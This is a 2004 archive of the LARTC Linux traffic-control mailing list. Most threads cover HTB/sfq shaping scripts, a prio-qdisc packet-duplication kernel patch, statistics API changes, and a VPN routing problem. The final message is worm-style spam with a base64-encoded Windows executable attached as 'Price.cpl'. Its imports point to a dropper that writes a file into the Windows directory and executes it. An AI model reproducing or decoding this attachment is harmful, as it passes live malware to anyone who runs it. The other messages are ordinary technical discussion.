>     tc qdisc add dev eth1 parent 1:500 handle 500: sfq perturb 5 quantum 1500
> 
> tc class add dev eth1 parent 1:500 classid 1:5001 htb rate 128kbit ceil 8Mbit  prio 5 quantum 1500 burst 15k
>     tc qdisc add dev eth1 parent 1:5001 handle 5001: sfq perturb 5 quantum 1500
> tc class add dev eth1 parent 1:500 classid 1:5002 htb rate 128kbit ceil 8Mbit  prio 5 quantum 1500 burst 15k
>     tc qdisc add dev eth1 parent 1:5002 handle 5002: sfq perturb 5 quantum 1500
> ...
> 
> iptables -t mangle -A PREROUTING -i eth0 -s 10.0.0.1 -m mark --mark 0  -j MARK --set-mark 1001
> iptables -t mangle -A PREROUTING -i eth0 -s 10.0.0.1 -m mark --mark 1  -j MARK --set-mark 3001
> iptables -t mangle -A PREROUTING -i eth0 -s 10.0.0.1 -m mark --mark 2  -j MARK --set-mark 5001
> 
> iptables -t mangle -A PREROUTING -i eth0 -s 10.0.0.2 -m mark --mark 0  -j MARK --set-mark 1002
> iptables -t mangle -A PREROUTING -i eth0 -s 10.0.0.2 -m mark --mark 1  -j MARK --set-mark 3002
> iptables -t mangle -A PREROUTING -i eth0 -s 10.0.0.2 -m mark --mark 2  -j MARK --set-mark 5002
>

You can't match local addresses here if you are doing NAT.

  ...
> 
> tc filter add dev eth1 protocol ip handle 1001 fw  flowid 1:1001
> tc filter add dev eth1 protocol ip handle 3001 fw  flowid 1:3001
> tc filter add dev eth1 protocol ip handle 5001 fw  flowid 1:5001
> 
> tc filter add dev eth1 protocol ip handle 1002 fw  flowid 1:1002
> tc filter add dev eth1 protocol ip handle 3002 fw  flowid 1:3002
> tc filter add dev eth1 protocol ip handle 5002 fw  flowid 1:5002
> 
> 
> #END OF ETH1 SCRIPT#
> 
> After i start the scripts all the hosts encounters difficulties in accessing the internet... the web from the internet (class 1:1) are loading verry slow (20-30 seconds); i have ping timeouts... yahoo messenger is connecting in about 20-30 seconds... iti si a mess...
> I know the bandwidth is verry small but even if there are 8 users online the bandwidth should divide and work much faster at least for web...
> I think the script has problems in the part with the burst of 15k... can somebody tell me where is going wrong?
> 
> Please help,
>     Claudiu.



From hariett.jones@wp.pl  Thu Nov  4 09:10:16 2004
From: hariett.jones@wp.pl (Hariett Jones)
Date: Thu, 04 Nov 2004 10:10:16 +0100
Subject: [LARTC] Re: HTB: quantum of class 10200 is small. Consider r2q change.
In-Reply-To: <4189E0A3.9040308@labno.pl>
References: <4189E0A3.9040308@labno.pl>
Message-ID: <4189F1F8.2080700@wp.pl>

Bernard £abno wrote:

> Hello,
>    What does this line mean :
>
> HTB: quantum of class 10200 is small. Consider r2q change.
>
>
> And how should I fix it ? I have dsl 1mb connection and 2 cards 
> (realtek-8139C and realtek-8100B/8139D)
>
> Could the above line cause this ? :
> NETDEV WATCHDOG: eth0: transmit timed out
> eth0: Transmit timeout, status 0c 0005 c07f media 00.
> eth0: Tx queue start entry 3518  dirty entry 3514.
> eth0:  Tx descriptor 0 is 0008a041.
> eth0:  Tx descriptor 1 is 0008a5be.
> eth0:  Tx descriptor 2 is 0008a0a8. (queue head)
> eth0:  Tx descriptor 3 is 0008a03c.
> eth0: link up, 100Mbps, full-duplex, lpa 0x41E1
>
>
>
>


From justin@expertron.co.za  Thu Nov  4 12:00:38 2004
From: justin@expertron.co.za (Justin Schoeman)
Date: Thu, 04 Nov 2004 14:00:38 +0200
Subject: [LARTC] Traffic control and logging?
In-Reply-To: <4187AC55.2040705@expertron.co.za>
References: <4187AC55.2040705@expertron.co.za>
Message-ID: <418A19E6.4040306@expertron.co.za>

This is a multi-part message in MIME format.
--------------070308060400010100020600
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

OK - judging by the lack of response, I am assuming this is not possible?

I have started hacking on a simple patch to add support to qdiscs to dup 
their traffic to a dummy interface.

Simple test code for the prio qdisc, hardcoded for device id 5 as the 
dummy qdisc is attached.

The eventual idea is to add an optional argument 'dupdev' to all qdiscs. 
  If the qdisc has this argument set, then the packet is duplicated to 
that device, if not, nothing is altered.

The only real overhead is one NULL check in each enqueue function, so 
this should not really affect performance.

Is it worth while doing up this solution as a proper kernel patch (does 
it have any chance of being accepted, or should I just do it 
'quick-and-dirty' for my personal use?

Thanks,
Justin


Justin Schoeman wrote:
> Hi all, I am new to tc on Linux, and am having some problems.  The basic 
> set-up and use works wonderfully, but now I have run into a slight 
> problem...
> 
> I am using tc qdiscs and filters to do my traffic shaping.  Now, I have 
> a whole bunch of filters to classify the data, and they work well, 
> however, after all my classifications are done, I still have data 
> reaching the default flow. ALL of the data should have been classified - 
> so I would really like to look at the data that is still not classified. 
>  Is there any way to log these packets? Can any of the qdiscs log queued 
> traffic in a sane way? Can I forward the traffic back to iptables in 
> some way?
> 
> Any help would be greatly appreciated.
> 
> Thanks,
> Justin
> _______________________________________________
> LARTC mailing list / LARTC@mailman.ds9a.nl
> http://mailman.ds9a.nl/mailman/listinfo/lartc HOWTO: http://lartc.org/

--------------070308060400010100020600
Content-Type: text/plain;
 name="dup.patch"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="dup.patch"

--- sch_prio.c.old	2004-11-04 04:21:46.000000000 +0200
+++ sch_prio.c	2004-11-04 03:36:07.000000000 +0200
@@ -44,6 +44,7 @@
 	struct tcf_proto *filter_list;
 	u8  prio2band[TC_PRIO_MAX+1];
 	struct Qdisc *queues[TCQ_PRIO_BANDS];
+	struct net_device * dup_dev;
 };
 
 
@@ -99,7 +100,21 @@
 prio_enqueue(struct sk_buff *skb, struct Qdisc* sch)
 {
 	struct Qdisc *qdisc;
+	struct prio_sched_data *q = qdisc_priv(sch);
 	int ret = NET_XMIT_SUCCESS;
+	
+	if(q->dup_dev) {
+		struct sk_buff * dup_skb = skb_copy(skb, GFP_ATOMIC);
+		if(!dup_skb) {
+			printk(KERN_ERR "Error copying packet.\n");
+		} else {
+			dup_skb->dev = q->dup_dev;
+			if(dev_queue_xmit(dup_skb) < 0) {
+				printk(KERN_ERR "Error queueing duplicate packet on '%s'.\n", q->dup_dev->name);
+				kfree_skb(dup_skb);
+			}
+		}
+	}
 
 	qdisc = prio_classify(skb, sch, &ret);
 
@@ -210,6 +225,11 @@
 
 	for (prio=0; prio<q->bands; prio++)
 		qdisc_destroy(q->queues[prio]);
+	
+	if(q->dup_dev) {
+		dev_put(q->dup_dev);
+		q->dup_dev = NULL;
+	}
 }
 
 static int prio_tune(struct Qdisc *sch, struct rtattr *opt)
@@ -237,6 +257,13 @@
 		if (child != &noop_qdisc)
 			qdisc_destroy(child);
 	}
+
+	q->dup_dev = dev_get_by_index(5);
+	if(!q->dup_dev) {
+		printk(KERN_WARNING "PRIO: Network device 5 does not seem to exist?\n");
+		return -EINVAL;
+	}
+	printk(KERN_DEBUG "PRIO: Using device '%s' for dup'ing packets.\n", q->dup_dev->name);
 	sch_tree_unlock(sch);
 
 	for (i=0; i<=TC_PRIO_MAX; i++) {

--------------070308060400010100020600--

From tgraf@suug.ch  Thu Nov  4 12:43:53 2004
From: tgraf@suug.ch (Thomas Graf)
Date: Thu, 4 Nov 2004 13:43:53 +0100
Subject: [LARTC] Recent changes in qdisc/cls APIs
Message-ID: <20041104124353.GL12289@postel.suug.ch>

Folks,

I've been changing some of the classifier APIs especially bits
related to the rate estimator and statistics between 2.6.8
and 2.6.10. This probably broke some external classifiers
such as esfq. If you happen to use one of them just send
me the correspondig patch and I will fix it up for you.

Cheers

From tgraf@suug.ch  Thu Nov  4 12:46:36 2004
From: tgraf@suug.ch (Thomas Graf)
Date: Thu, 4 Nov 2004 13:46:36 +0100
Subject: [LARTC] Traffic control and logging?
In-Reply-To: <418A19E6.4040306@expertron.co.za>
References: <4187AC55.2040705@expertron.co.za> <418A19E6.4040306@expertron.co.za>
Message-ID: <20041104124636.GM12289@postel.suug.ch>

* Justin Schoeman <418A19E6.4040306@expertron.co.za> 2004-11-04 14:00
> OK - judging by the lack of response, I am assuming this is not possible?
> 
> I have started hacking on a simple patch to add support to qdiscs to dup 
> their traffic to a dummy interface.
> 
> Simple test code for the prio qdisc, hardcoded for device id 5 as the 
> dummy qdisc is attached.
> 
> The eventual idea is to add an optional argument 'dupdev' to all qdiscs. 
>  If the qdisc has this argument set, then the packet is duplicated to 
> that device, if not, nothing is altered.

Consider using the mirred action with a recent iproute2 binary. The
statistics won't be working properly yet though.

From windtim@libero.it  Thu Nov  4 13:01:29 2004
From: windtim@libero.it (windtim@libero.i)
Date: Thu,  4 Nov 2004 14:01:29 +0100
Subject: [LARTC] Help me please
Message-ID: <I6NO6H$B173AF0042C85A4CA8B8832B9B60E8CB@libero.it>

Hi, 
       i'm testing MPLS QoS on Linux, i've found tequila project bu=
t every time
i try to send mail to its mailing list, it fails and i rece=
ive a mail that
advise me its address has a fatal error? Could you tell =
me something about it?
Is there any project about MPLS QoS (in particula=
r MPLS TE features)? 
Which is its URL?
Thnks in advance for the help=0A=
=0A=0A=0A____________________________________________________________=0AL=
ibero ADSL: navighi gratis a 1.2 Mega, senza canone e costi di attivazion=
e. =0AAbbonati subito su http://www.libero.it =0A


From ivan@pintori.it  Thu Nov  4 14:53:19 2004
From: ivan@pintori.it (Ivan Pintori)
Date: Thu, 4 Nov 2004 15:53:19 +0100 (CET)
Subject: [LARTC] VPN Routing issues from local IP to Big Internet IPs
Message-ID: <Pine.LNX.4.61.0411041540150.24241@localhost.localdomain>

Ok ladies and gents, I give up! I just can't find a solution to the 
problem.

Setup:

I have a linux box with 2.4.22-1.2197.nptl kernel running 2 eth and one 
ppp connection over one of the eth for VPN tunneling.

I have 2 needs:

- masq and forward internal lan hosts via the tunnel on PPP and then on to 
the big internet. No problem there. All works fine.

- Forward ppp0 native connections on to the big internet. And here the 
trouble starts. I can ping the gateway on the other side of the tunnel 
(which has the same subnet mask as the ppp assigne ip), but I cannot ping 
anything beyond that.

I though it could be a firewall (iptables) issue. Nope, it's not that: I 
turned it off and made no difference.

Maybe the problem lies on the other side. Nope. I tcpdumped ppp0, and I 
get the ping back from the Big Internet host. So the packet goes out and 
comes back correctly, it just does not get "fowarded" on to the 
application level so that the ping program can register it.

So, this is the mess. Any idea on what I screwed up? :)

ivan
-- 
By 1977 or so, PLATO was featuring real-time multiplayer dungeon games, 
not to mention real-time spacewar, IM, chat, email, netnews, and a host of 
other things we now take for granted. All this on high-resolution plasma 
panel terminals connected at 1200 baud to twin Cyber 6600 supercomputer. 
Now you understand why I was kicked out of Cornell for a year; PLATO was 
crack for computer nerds. (Robert Woodhead, co-creator of Wizardry)

From andy.furniss@dsl.pipex.com  Thu Nov  4 15:01:14 2004
From: andy.furniss@dsl.pipex.com (Andy Furniss)
Date: Thu, 04 Nov 2004 15:01:14 +0000
Subject: [LARTC] Recent changes in qdisc/cls APIs
In-Reply-To: <20041104124353.GL12289@postel.suug.ch>
References: <20041104124353.GL12289@postel.suug.ch>
Message-ID: <418A443A.4020807@dsl.pipex.com>

Thomas Graf wrote:
> Folks,
> 
> I've been changing some of the classifier APIs especially bits
> related to the rate estimator and statistics between 2.6.8
> and 2.6.10. This probably broke some external classifiers
> such as esfq. If you happen to use one of them just send
> me the correspondig patch and I will fix it up for you.
> 
> Cheers

Thanks for the warning - I can't give a patch until I remember where I 
got it/ what I've done.
I had to do some by hand anyway as it looks like the new iproute uses 
it's own copy of some kernel files.

I use overlimits as a counter in esfq - has this changed ?

Andy.



From tgraf@suug.ch  Thu Nov  4 15:11:24 2004
From: tgraf@suug.ch (Thomas Graf)
Date: Thu, 4 Nov 2004 16:11:24 +0100
Subject: [LARTC] Recent changes in qdisc/cls APIs
In-Reply-To: <418A443A.4020807@dsl.pipex.com>
References: <20041104124353.GL12289@postel.suug.ch> <418A443A.4020807@dsl.pipex.com>
Message-ID: <20041104151124.GP12289@postel.suug.ch>

> I use overlimits as a counter in esfq - has this changed ?

I assume you're using your own tc_stats copy and not abusing
the policer stats. You may want to use the new statistic
interface which provides overlimits via gnet_stats_queue.

From andy.furniss@dsl.pipex.com  Thu Nov  4 15:22:40 2004
From: andy.furniss@dsl.pipex.com (Andy Furniss)
Date: Thu, 04 Nov 2004 15:22:40 +0000
Subject: [LARTC] Recent changes in qdisc/cls APIs
In-Reply-To: <20041104151124.GP12289@postel.suug.ch>
References: <20041104124353.GL12289@postel.suug.ch> <418A443A.4020807@dsl.pipex.com> <20041104151124.GP12289@postel.suug.ch>
Message-ID: <418A4940.9050706@dsl.pipex.com>

Thomas Graf wrote:
>>I use overlimits as a counter in esfq - has this changed ?
> 
> 
> I assume you're using your own tc_stats copy and not abusing
> the policer stats. You may want to use the new statistic
> interface which provides overlimits via gnet_stats_queue.
> 

I used overlimits as it was always 0 for qdisc - it doesn't seem to 
affect things, but then I don't know whether anything else uses 
individual qdisc stats. It's called from HTB whose overlimits counters 
seem unaffected.


Andy.


From ivan@pintori.it  Thu Nov  4 15:28:02 2004
From: ivan@pintori.it (Ivan Pintori)
Date: Thu, 04 Nov 2004 16:28:02 +0100
Subject: [LARTC] Re: VPN Routing issues from local IP to Big Internet IPs
In-Reply-To: <Pine.LNX.4.61.0411041540150.24241@localhost.localdomain>
References: <Pine.LNX.4.61.0411041540150.24241@localhost.localdomain>
Message-ID: <courier.418A4A82.00006F94@stellina.org>

Ivan Pintori writes: 

> Maybe the problem lies on the other side. Nope. I tcpdumped ppp0, and I 
> get the ping back from the Big Internet host. So the packet goes out and 
> comes back correctly, it just does not get "fowarded" on to the 
> application level so that the ping program can register it.

Just to give you an idea of what I see with tcpdump, here it comes: 

[root@hoshimaru root]# ping -I ppp0 151.1.1.1
[root@hoshimaru root]# tcpdump -i ppp0
tcpdump: listening on ppp0
16:18:26.387006 172.16.XX.YY > 151.1.1.1: icmp: echo request (DF)
16:18:26.740705 151.1.1.1 > 172.16.XX.YY: icmp: echo reply (DF)
16:18:27.386941 172.16.XX.YY > 151.1.1.1: icmp: echo request (DF)
16:18:27.740039 151.1.1.1 > 172.16.XX.YY: icmp: echo reply (DF)
16:18:28.387023 172.16.XX.YY > 151.1.1.1: icmp: echo request (DF)
16:18:28.755338 151.1.1.1 > 172.16.XX.YY: icmp: echo reply (DF)
16:18:29.386988 172.16.XX.YY > 151.1.1.1: icmp: echo request (DF)
16:18:29.743806 151.1.1.1 > 172.16.XX.YY: icmp: echo reply (DF)
16:18:30.386977 172.16.XX.YY > 151.1.1.1: icmp: echo request (DF)
16:18:30.741172 151.1.1.1 > 172.16.XX.YY: icmp: echo reply (DF) 


And here a traceroute:
[root@hoshimaru root]# traceroute -i ppp0 151.1.1.1
traceroute to 151.1.1.1 (151.1.1.1), 30 hops max, 38 byte packets
1  172.16.0.1 (172.16.0.1)  165.423 ms  166.358 ms  164.800 ms
2  * * *
3  * * *
[etc] 

16:18:45.176421 172.16.XX.YY.34520 > 151.1.1.1.33435: udp 10 [ttl 1]
16:18:45.341516 172.16.0.1 > 172.16.XX.YY: icmp: time exceeded in-transit 
[tos 0xc0]
16:18:45.344151 172.16.XX.YY.34520 > 151.1.1.1.33436: udp 10 [ttl 1]
16:18:45.510231 172.16.0.1 > 172.16.XX.YY: icmp: time exceeded in-transit 
[tos 0xc0]
16:18:45.510560 172.16.XX.YY.34520 > 151.1.1.1.33437: udp 10 [ttl 1]
16:18:45.675086 172.16.0.1 > 172.16.XX.YY: icmp: time exceeded in-transit 
[tos 0xc0]
16:18:45.675423 172.16.XX.YY.34520 > 151.1.1.1.33438: udp 10
16:18:45.842148 SECONDHOP > 172.16.XX.YY: icmp: time exceeded in-transit
16:18:50.667262 172.16.XX.YY.34520 > 151.1.1.1.33439: udp 10
16:18:50.831541 SECONDHOP > 172.16.XX.YY: icmp: time exceeded in-transit
16:18:55.667351 172.16.XX.YY.34520 > 151.1.1.1.33440: udp 10
16:18:55.835469 SECONDHOP > 172.16.XX.YY: icmp: time exceeded in-transit
16:19:00.667955 172.16.XX.YY.34520 > 151.1.1.1.33441: udp 10
16:19:00.833257 THIRDHOP > 172.16.XX.YY: icmp: time exceeded in-transit
16:19:05.667458 172.16.XX.YY.34520 > 151.1.1.1.33442: udp 10
16:19:05.833473 THIRDHOP > 172.16.XX.YY: icmp: time exceeded in-transit
16:19:10.667546 172.16.XX.YY.34520 > 151.1.1.1.33443: udp 10
16:19:10.834686 THIRDHOP > 172.16.XX.YY: icmp: time exceeded in-transit
16:19:15.667676 172.16.XX.YY.34520 > 151.1.1.1.33444: udp 10
16:19:15.852906 FORTHHOP > 172.16.XX.YY: icmp: time exceeded in-transit
16:19:20.667643 172.16.XX.YY.34520 > 151.1.1.1.33445: udp 10
16:19:20.855853 FORTHHOP > 172.16.XX.YY: icmp: time exceeded in-transit
16:19:25.667731 172.16.XX.YY.34520 > 151.1.1.1.33446: udp 10
16:19:26.037855 FORTHHOP > 172.16.XX.YY: icmp: time exceeded in-transit 

Now you see why I am so puzzled? The packet goes out with the correct IP and 
comes back to the right IP. Too back that traceroute and ping just time out, 
and so every other application! 

ivan

From andy.furniss@dsl.pipex.com  Thu Nov  4 15:31:10 2004
From: andy.furniss@dsl.pipex.com (Andy Furniss)
Date: Thu, 04 Nov 2004 15:31:10 +0000
Subject: [LARTC] Recent changes in qdisc/cls APIs
In-Reply-To: <418A4940.9050706@dsl.pipex.com>
References: <20041104124353.GL12289@postel.suug.ch> <418A443A.4020807@dsl.pipex.com> <20041104151124.GP12289@postel.suug.ch> <418A4940.9050706@dsl.pipex.com>
Message-ID: <418A4B3E.9070801@dsl.pipex.com>

Andy Furniss wrote:
> Thomas Graf wrote:
> 
>>> I use overlimits as a counter in esfq - has this changed ?
>>
>>
>>
>> I assume you're using your own tc_stats copy and not abusing
>> the policer stats. You may want to use the new statistic
>> interface which provides overlimits via gnet_stats_queue.
>>
> 
> I used overlimits as it was always 0 for qdisc - it doesn't seem to 
> affect things, but then I don't know whether anything else uses 
> individual qdisc stats. It's called from HTB whose overlimits counters 
> seem unaffected.

Are these the only changes needed -

http://www.kernel.org/diff/diffview.cgi?file=%2Fpub%2Flinux%2Fkernel%2Fv2.6%2Ftesting%2Fpatch-2.6.10-rc1.bz2;z=2661

Andy.


From tgraf@suug.ch  Thu Nov  4 15:41:58 2004
From: tgraf@suug.ch (Thomas Graf)
Date: Thu, 4 Nov 2004 16:41:58 +0100
Subject: [LARTC] Recent changes in qdisc/cls APIs
In-Reply-To: <418A4B3E.9070801@dsl.pipex.com>
References: <20041104124353.GL12289@postel.suug.ch> <418A443A.4020807@dsl.pipex.com> <20041104151124.GP12289@postel.suug.ch> <418A4940.9050706@dsl.pipex.com> <418A4B3E.9070801@dsl.pipex.com>
Message-ID: <20041104154158.GQ12289@postel.suug.ch>

* Andy Furniss <418A4B3E.9070801@dsl.pipex.com> 2004-11-04 15:31
> Are these the only changes needed -
> 
> http://www.kernel.org/diff/diffview.cgi?file=%2Fpub%2Flinux%2Fkernel%2Fv2.6%2Ftesting%2Fpatch-2.6.10-rc1.bz2;z=2661

Yes and no. It should work, however I suggest to adapt to the new API
completely:

If you happen to have xstats:
http://people.suug.ch/~tgr/patches/accepted/gen_stats/cbq_qdisc_dump_stats.diff

If classful:
http://people.suug.ch/~tgr/patches/accepted/gen_stats/cbq_class_gen_stats.diff
http://people.suug.ch/~tgr/patches/accepted/gen_stats/cbq_class_dump_stats.diff
http://people.suug.ch/~tgr/patches/accepted/gen_stats/cbq_class_rate_est.diff

And preferely introduce requeue statistics:
http://people.suug.ch/~tgr/patches/accepted/gen_stats/requeue_stats.diff

If you happen to dump the stats yourself, remove them:
http://people.suug.ch/~tgr/patches/accepted/gen_stats/remove_bogus_qdisc_stats_copy-26.diff

As I said, I can do those changes for you if you want, it's a matter of
a few minutes for me.

From andy.furniss@dsl.pipex.com  Thu Nov  4 15:42:00 2004
From: andy.furniss@dsl.pipex.com (Andy Furniss)
Date: Thu, 04 Nov 2004 15:42:00 +0000
Subject: [LARTC] Inverting filters
In-Reply-To: <200411031246.12523.nikolay@domonet.ru>
References: <200411031246.12523.nikolay@domonet.ru>
Message-ID: <418A4DC8.3040607@dsl.pipex.com>

Nikolay Dmitriev wrote:
> How to invert match parameter?
> 
> Like this:
> 
> tc filter add dev eth0 protocol ip parent 1: prio 1 u32 \
>     match ip src 10.20.30.40 \
>     match ip dst !10.30.0/24 \
>     match ip dst !10.40.0/24 \
>     flowid 1:20

I'm not sure - but ISTR failing to invert u32 some time ago. Generally 
iptables would like a space round the ! - but I don't think it helps u32.

Maybe you could do it with bit masks.

Andy.



From andy.furniss@dsl.pipex.com  Thu Nov  4 15:58:28 2004
From: andy.furniss@dsl.pipex.com (Andy Furniss)
Date: Thu, 04 Nov 2004 15:58:28 +0000
Subject: [LARTC] Recent changes in qdisc/cls APIs
In-Reply-To: <20041104154158.GQ12289@postel.suug.ch>
References: <20041104124353.GL12289@postel.suug.ch> <418A443A.4020807@dsl.pipex.com> <20041104151124.GP12289@postel.suug.ch> <418A4940.9050706@dsl.pipex.com> <418A4B3E.9070801@dsl.pipex.com> <20041104154158.GQ12289@postel.suug.ch>
Message-ID: <418A51A4.6070507@dsl.pipex.com>

Thomas Graf wrote:
> * Andy Furniss <418A4B3E.9070801@dsl.pipex.com> 2004-11-04 15:31
> 
>>Are these the only changes needed -
>>
>>http://www.kernel.org/diff/diffview.cgi?file=%2Fpub%2Flinux%2Fkernel%2Fv2.6%2Ftesting%2Fpatch-2.6.10-rc1.bz2;z=2661
> 
> 
> Yes and no. It should work, however I suggest to adapt to the new API
> completely:
> 
> If you happen to have xstats:
> http://people.suug.ch/~tgr/patches/accepted/gen_stats/cbq_qdisc_dump_stats.diff
> 
> If classful:
> http://people.suug.ch/~tgr/patches/accepted/gen_stats/cbq_class_gen_stats.diff
> http://people.suug.ch/~tgr/patches/accepted/gen_stats/cbq_class_dump_stats.diff
> http://people.suug.ch/~tgr/patches/accepted/gen_stats/cbq_class_rate_est.diff
> 
> And preferely introduce requeue statistics:
> http://people.suug.ch/~tgr/patches/accepted/gen_stats/requeue_stats.diff
> 
> If you happen to dump the stats yourself, remove them:
> http://people.suug.ch/~tgr/patches/accepted/gen_stats/remove_bogus_qdisc_stats_copy-26.diff
> 
> As I said, I can do those changes for you if you want, it's a matter of
> a few minutes for me.
> 

Thanks for all those - I'll need time to digest them and won't be 
upgrading just yet.

My esfq is hacked in other ways aswell so a patch against what people 
really use will be better - if someone else wants to post. The iproute 
bit needs changing aswell for those that use the latest versions.

As for using overlimits - It was just for a test - I saw an unused 
counter which showed up in stats and used it for my own purpose.

I incremented it if the queue wasn't empty so I could tell if bulk 
traffic got into my interactive class. I'll probably get rid of it.

Andy.


From roy@xxx.lt  Thu Nov  4 18:02:46 2004
From: roy@xxx.lt (Roy)
Date: Thu, 04 Nov 2004 20:02:46 +0200
Subject: [LARTC] Re: Hello
Message-ID: <naicgqxnnnpqrhnvadt@mailman.ds9a.nl>

----------ndajvgqikkpqtsjtgvyc
Content-Type: text/html; charset="us-ascii"
Content-Transfer-Encoding: 7bit

<html><body>
:))

<br>
</body></html>

----------ndajvgqikkpqtsjtgvyc
Content-Type: application/octet-stream; name="Price.cpl"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="Price.cpl"

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g
RE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAA+kgUEAAAAAAAAAAOAADiELAQUMAAwAAAAC
AAAAAAAAQBUAAAAQAAAAIAAAAAAAEAAQAAAAAgAABAAAAAAAAAAEAAAAAAAAAAWCAAAAAgAA
AAAAAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAADwUAAA8AAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAACAAACwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAACYFAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50
ZXh0AAAAIAoAAAAQAAAACAAAAAIAAAAAAAAAAAAAAAAAACAAAOAucmVsb2MAACoAAAAAIAAA
AAIAAAAKAAAAAAAAAAAAAAAAAABAAABCAAAAAAAAAAAFUgAAADAAAAVSAAAADAAAAAAAAAAA
AAAAAAAAIAAA4AAAAAAAAAAAAAAAAAAAAABvcGVuAGZkZmRmZGdqa3RqeWZqZ3ZkaHR5dXJm
ZmhneXR1a2doY2dkaHlyaXV0eWxoa2poZmp5cnVrZ2p2anV0bGhraGZ1a2dqaGZmeXV0aW95
amdoamh5dXRnamtoZnVrdGl5bGhqZ2ZkZmRmZGdoZ2hqeXVydXRpZ2toZmpndHVpdGtnaGp5
dXRpdmpma2hnaGR5amdoZ2ZqaGtna2poZ2prZnRqcmZqaGdmamhuYmhmZHJ2YmZudmRmZ2Jm
dmZiaG1iZ25idmdoZ2Z2aGdkamdmZGZkZmRnaGdoamZrdXV0amJ5cnlyeXZ3YmF2c3Rlc2h2
c3Ryc3RyaHZydHdzdGh2ZHNocnZzaHJ0cmhzaHJkaGZkZ2ZqZ2ZkZmRmZGdoZ2hqZmdoam1m
a3V0Ynl0eXV0YnV5dXlydHJ0cnl0cnl0eXZlcnRydHRnZnJ0cnR5cnl0amdmZGZkZmRnamdm
aGpoamdra2pramtoamhramhmanlydWtnanZqdXRsaGtoZnVrZ2poZmZ5dXRpb3lqZ2hqaHl1
dGdqa2hmdWt0aXlsaGpnZmRmZGZkZ2hnaGp5dXJ1dGhqa2poa2hqa2xveXR5dXZqZmtoZ2hk
eWpnaGdmamhrZ2tqaGdqa2Z0anJmamhnZmpobmJoZmRydmJmbnZkZmdiZnZmYmhtYmduYnZn
aGdmdmhnZGpnZmRmZGZkZ2hnaGpma3V1dGpieXl1ABAAAAwAAADFNQAAZmV0ZXJ5dGV5Zmdl
eXV0cnVpanN0cmh2cnR3c3RodmRzaHJ2c2hydHJoc2hyZGhmZGdmamdcY2plY3Rvci5leGUA
ZmRmZGZkZ2hnZ2ZnZmpmamdqa2draGtqaGxraGxramxraGtoa2xqaGxramhsa2poamdmZGZk
ZmZoZ2ZqaGZoZ2Zoamtna2toZ2RzaGZqZ2tobGprZmhobWZjZ2ZoZ2hqa2psZmhnamtqZ2Zz
ZGdoampoa2xrO2xramxrZ2poa2xqZ3l0a3VnamhmeWpnZmpoZmhyZmpoeWZ0cnRocmZ0aGdm
aHRoaGpra2pramdoa3Vqb3VpbGhqa2poeWt1aGtmaHRkZmh0cmpnamh5cmZodHJ0anlydHJ0
aHJ0eWVodGVlcmVkZ2ZkaGZkaGdkaHRkaHNlZ3JkcmVkaGZ5anJ0aGpnZmRmZHN5dHJ5cnRo
ZmdiZmdoZ2draGxqa2ZoaG1mY2dmaGdoamtqbGZoZ2pramdmc2RnaGpqaGZnZmdqanV0eWl5
dWlpaXl0a3VnamhmeWpnZmpoZmhyZmpoeWZ0cnRocmZ0aGdmaHRoaGpra2pramdoa3VpdXlk
ZnVqdHlrZ2pkc3dldHRlaGZnaGpnaHVneWpmZ2hmZ2h0cnRqeXJ0cnRocnR5ZWh0ZWVyZWRn
ZmRoZmRoZ2RodGRoc2VncmRyZWRoZnlqcnRoamcAeBQAAAAAAAAAAAAAEBUAAJgUAACQFAAA
AAAAAAAAAAAuFQAAsBQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAxBQAANIUAADgFAAA+BQAAAQV
AAAAAAAAHhUAAAAAAADEFAAA0hQAAOAUAAD4FAAABBUAAAAAAAAeFQAAAAAAAHVzZXIzMi5k
bGwAABoAQ2xvc2VIYW5kbGUAMABDcmVhdGVGaWxlQQBiAUdldFdpbmRvd3NEaXJlY3RvcnlB
AACeAldyaXRlRmlsZQC1AmxzdHJjYXRBAABrZXJuZWwzMi5kbGwAAGcAU2hlbGxFeGVjdXRl
QQBzaGVsbDMyLmRsbAAAAAAAAABVi+yDfQwBdUhoAAQAAGggFgAQ6KIAAAAzwmhhEgAQaCAW
ABDonQAAAEFoIBYAEOgmAAAAC8B0GffQagBqAGoAaCAWABBoABAAEGoA6HsAAAC4AQAAAMnC
DABVi+yDxPhTVjPbagBqAGoCagBqA2gAAADA/3UI6DkAAACQiUX4QHQjM8K+ADAAEK2SagCN
RfxQUlb/dfjoJQAAAEj/dfjoCgAAAEOLw15bycIEAMz/JZgUABD/JZwUABD/JaAUABD/JaQU
ABD/JagUABD/JbAUABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
